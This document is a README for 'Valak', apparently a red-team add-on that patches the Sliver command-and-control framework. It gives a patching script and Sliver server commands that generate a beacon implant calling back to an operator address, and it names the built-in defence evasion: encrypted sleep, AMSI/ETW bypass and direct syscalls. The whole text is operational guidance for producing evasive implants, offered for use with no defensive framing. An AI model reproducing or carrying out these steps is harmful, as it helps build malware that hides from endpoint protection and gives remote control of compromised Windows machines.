# Valak + Sliver integration
One script. Three prereqs. Your implant walks out with ChaCha20-encrypted
sleep, HWBP AMSI/ETW bypass, and FreshyCalls syscalls.
## prereqs
- **Zig** — any build targeting `x86_64-windows` (Linux zig or Windows zig via WSL)
- **Go 1.21+** — with a Sliver source clone on disk
- **python3** — used by the embed script
## usage
from the Valak repo root, point it at your Sliver clone:
```bash
./scripts/integrate.sh ~/projects/sliver
```
that builds the DLL, embeds it, patches `runner.go`, and verifies the patches
compile. The actual implant is generated from sliver-server (see below).
### options
| flag | what it does |
|------|-------------|
| `--skip-build` | patch only, don't build the implant |
| `ZIG=/path/to/zig` | use a specific zig binary (e.g. Windows zig from WSL) |
examples:
```bash
# patch only
./scripts/integrate.sh ~/projects/sliver --skip-build
# windows zig on WSL
ZIG=/mnt/c/Zig/zig.exe ./scripts/integrate.sh ~/projects/sliver
```
## generating the implant
after the script patches your clone, generate the implant from sliver-server:
```bash
# start sliver
sliver-server
# on the server REPL:
sliver > profiles new --beacon --http <YOUR_IP> valak
sliver > generate --profile valak --save /tmp/valak.exe
# or with mtls:
sliver > generate --mtls <YOUR_IP> --save /tmp/valak.exe
```
the generated binary includes Valak's encrypted sleep, AMSI/ETW bypass, and
FreshyCalls syscalls automatically. The patched `runner.go` is inherited
through Sliver's template processing.
### idempotent
running the script twice on the same clone is safe — it detects existing
patches and skips them.
## notes
- **beacon mode only** — encrypted sleep hooks `beaconMainLoop`. Session mode
blocks on connection receive, so evasion there is AMSI/ETW bypass and
FreshyCalls only.
- **one-time init** — `Bootstrap()` goes in `beaconMainLoop` (runs once per
beacon connection), not `beaconMain` (runs every check-in).
